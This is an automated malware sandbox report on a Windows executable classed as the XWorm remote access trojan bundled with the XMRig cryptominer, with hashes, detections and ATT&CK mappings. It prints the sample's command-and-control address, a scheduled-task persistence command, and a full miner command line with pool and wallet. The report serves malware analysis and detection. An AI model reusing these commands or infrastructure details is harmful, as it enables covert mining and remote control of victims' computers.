xmrig | 7e69dd789bf828531848e658682b78cb0c3f35f4b9f1f64c306edff316c1c434

Analysis

max time kernel
130s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06/11/2024, 10:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PBVIP6November2024.exe
Size

2.4MB
MD5

29b97b3ad71906522b466fce0d9d2f40
SHA1

4438df1e9d100e9998b48044b2e00949f35627a7
SHA256

7e69dd789bf828531848e658682b78cb0c3f35f4b9f1f64c306edff316c1c434
SHA512

06c97e630e3ac8dfb1c0cf94f8e162570ff085876712e132f7c8bd0dd8edeb7ef0bbc08c4a6573fb6206be9fdf18fa7be0a492f2f60e062c58735aeb62f92f99
SSDEEP

49152:M7VXW0U6kcdssPuL3JuX9yXUYtUHjNOeIkpPWKZdA:M71B0cWSgsNQUnHjweTwKZdA

Score

10^/10

xmrig xworm miner rat trojan

Malware Config

Extracted

Family

xworm

193.161.193.99:58389

Attributes

Install_directory
%AppData%
install_file
windowssession.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0008000000023cc0-6.dat	family_xworm
behavioral2/memory/1532-18-0x0000000000710000-0x000000000072A000-memory.dmp	family_xworm

Xmrig family
xmrig
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral2/memory/2276-48-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2276-46-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2276-50-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2276-53-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2276-54-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2276-51-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2276-52-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2276-55-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2276-58-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2276-59-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2276-61-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

flow	pid	Process
37	2276	cmd.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	PBVIP6November2024.exe

Executes dropped EXE 4 IoCs

pid	Process
1532	Microsoft Windows Firewall.exe
5024	Windows Host.exe
2920	windowssystem.exe
4436	sihost64.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5112 set thread context of 2276	5112	conhost.exe	117

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1672	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2096	conhost.exe
5112	conhost.exe
5112	conhost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1532	Microsoft Windows Firewall.exe
Token: SeDebugPrivilege	2096	conhost.exe
Token: SeDebugPrivilege	5112	conhost.exe
Token: SeLockMemoryPrivilege	2276	cmd.exe
Token: SeLockMemoryPrivilege	2276	cmd.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 4824 wrote to memory of 1532	4824	PBVIP6November2024.exe	84
PID 4824 wrote to memory of 1532	4824	PBVIP6November2024.exe	84
PID 4824 wrote to memory of 5024	4824	PBVIP6November2024.exe	85
PID 4824 wrote to memory of 5024	4824	PBVIP6November2024.exe	85
PID 5024 wrote to memory of 2096	5024	Windows Host.exe	105
PID 5024 wrote to memory of 2096	5024	Windows Host.exe	105
PID 5024 wrote to memory of 2096	5024	Windows Host.exe	105
PID 2096 wrote to memory of 2688	2096	conhost.exe	106
PID 2096 wrote to memory of 2688	2096	conhost.exe	106
PID 2688 wrote to memory of 1672	2688	cmd.exe	108
PID 2688 wrote to memory of 1672	2688	cmd.exe	108
PID 2096 wrote to memory of 4368	2096	conhost.exe	109
PID 2096 wrote to memory of 4368	2096	conhost.exe	109
PID 4368 wrote to memory of 2920	4368	cmd.exe	111
PID 4368 wrote to memory of 2920	4368	cmd.exe	111
PID 2920 wrote to memory of 5112	2920	windowssystem.exe	115
PID 2920 wrote to memory of 5112	2920	windowssystem.exe	115
PID 2920 wrote to memory of 5112	2920	windowssystem.exe	115
PID 5112 wrote to memory of 4436	5112	conhost.exe	116
PID 5112 wrote to memory of 4436	5112	conhost.exe	116
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 5112 wrote to memory of 2276	5112	conhost.exe	117
PID 4436 wrote to memory of 2940	4436	sihost64.exe	119
PID 4436 wrote to memory of 2940	4436	sihost64.exe	119
PID 4436 wrote to memory of 2940	4436	sihost64.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\PBVIP6November2024.exe
"C:\Users\Admin\AppData\Local\Temp\PBVIP6November2024.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4824
- C:\Users\Admin\AppData\Roaming\Microsoft Windows Firewall.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft Windows Firewall.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1532
- C:\Users\Admin\AppData\Roaming\Windows Host.exe
  "C:\Users\Admin\AppData\Roaming\Windows Host.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\System32\conhost.exe
    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\Windows Host.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2096
  - - C:\Windows\System32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "windowssystem" /tr "C:\Users\Admin\AppData\Local\Temp\windowssystem.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2688
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "windowssystem" /tr "C:\Users\Admin\AppData\Local\Temp\windowssystem.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1672
  - - C:\Windows\System32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\windowssystem.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4368
    - - C:\Users\Admin\AppData\Local\Temp\windowssystem.exe
        
        C:\Users\Admin\AppData\Local\Temp\windowssystem.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2920
      - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\windowssystem.exe"
        6⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5112
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4436
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        8⤵
        
        PID:2940
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows/System32\cmd.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=8C8EbmDZNjCJEbqC6kv4co3VGYzDTJUz53yGug6NKcsEFeUwSNnimV9MvU8gwBufjU84BKBzz2Gt8ayU6Lo1TJaR7wwjjff --pass=x --cpu-max-threads-hint=50 --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls
        7⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:2276

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
539B

MD5
b245679121623b152bea5562c173ba11

SHA1
47cb7fc4cf67e29a87016a7308cdb8b1b4dc8e3d

SHA256
73d84fd03e38f1bbf8b2218f8a454f0879051855252fc76b63f20f46e7fd877f

SHA512
75e46843b1eafcc7dc4362630838895b7f399e57662a12bf0305a912c8e726b02e0a760b1b97a2c262b2d05fdb944b9ed81c338ad93e5eb5cb57bc651602e42c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft Windows Firewall.exe

Filesize
79KB

MD5
2dce07aebd947933be67b3036566a785

SHA1
0f4079b8c4cff340bf7a46c9417801333fd1feda

SHA256
de61e9687a15d2a4015cd1bf6ba55c0a30a13ab9cc4b36a7d13565a6625ee839

SHA512
28b5cd12f847a23562f780ccb613c6f4ae23cc352b1133e32ac76b514a61269f3812c1c6cd01f6a4f61e42968313be7aa386b161e371f96bb38ddc1148d9795a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
31KB

MD5
8a043d9dd43e444209c7c0973c56f1e4

SHA1
e7f2ee01e132a29661b18214f1f73dbeaea8cb44

SHA256
362142f96ffcbb7e65197b6180151c056e404da8cd06a3e776632b6747fa6b8c

SHA512
b5127d22835ebf8af812b075b1f68086589e6fea569a042a9f63d18b4f6c7fae40edfc288cfa13021a6957ad78cd0d72af68ad6f6df00a1bb04d640349925d9c

Download Submit
C:\Users\Admin\AppData\Roaming\Windows Host.exe

Filesize
2.1MB

MD5
b7d694fd502112976646a8263687f602

SHA1
c9140674a5b045e888a4ee6b043a0d26fa93d636

SHA256
0cc7f4134aca4c6d2ecede8f386a386c1f56458dc7f2af54acd84b3c1bf789a5

SHA512
ee346181d3e61c52cb84ad819a4c8bf0b44cd91eb9653c1ca225cf36869178b87e8cbe6c7c6b9a7a3cf83b14cb207e4f85d95662285d8c929b65f069843c58fd

Download Submit
memory/1532-24-0x00007FFEC6CD0000-0x00007FFEC7791000-memory.dmp

Filesize
10.8MB

Download
memory/1532-18-0x0000000000710000-0x000000000072A000-memory.dmp

Filesize
104KB

Download
memory/1532-23-0x00007FFEC6CD0000-0x00007FFEC7791000-memory.dmp

Filesize
10.8MB

Download
memory/1532-25-0x00007FFEC6CD0000-0x00007FFEC7791000-memory.dmp

Filesize
10.8MB

Download
memory/2096-26-0x000001E8459A0000-0x000001E845BC0000-memory.dmp

Filesize
2.1MB

Download
memory/2096-27-0x000001E860530000-0x000001E860750000-memory.dmp

Filesize
2.1MB

Download
memory/2096-28-0x000001E847900000-0x000001E847912000-memory.dmp

Filesize
72KB

Download
memory/2276-46-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2276-55-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2276-49-0x0000027A929F0000-0x0000027A92A10000-memory.dmp

Filesize
128KB

Download
memory/2276-48-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2276-61-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2276-50-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2276-53-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2276-54-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2276-51-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2276-52-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2276-59-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2276-58-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2940-57-0x000002E3CA980000-0x000002E3CA986000-memory.dmp

Filesize
24KB

Download
memory/2940-60-0x000002E3CC490000-0x000002E3CC496000-memory.dmp

Filesize
24KB

Download
memory/4824-1-0x0000000000EB0000-0x000000000111E000-memory.dmp

Filesize
2.4MB

Download
memory/4824-0-0x00007FFEC6CD3000-0x00007FFEC6CD5000-memory.dmp

Filesize
8KB

Download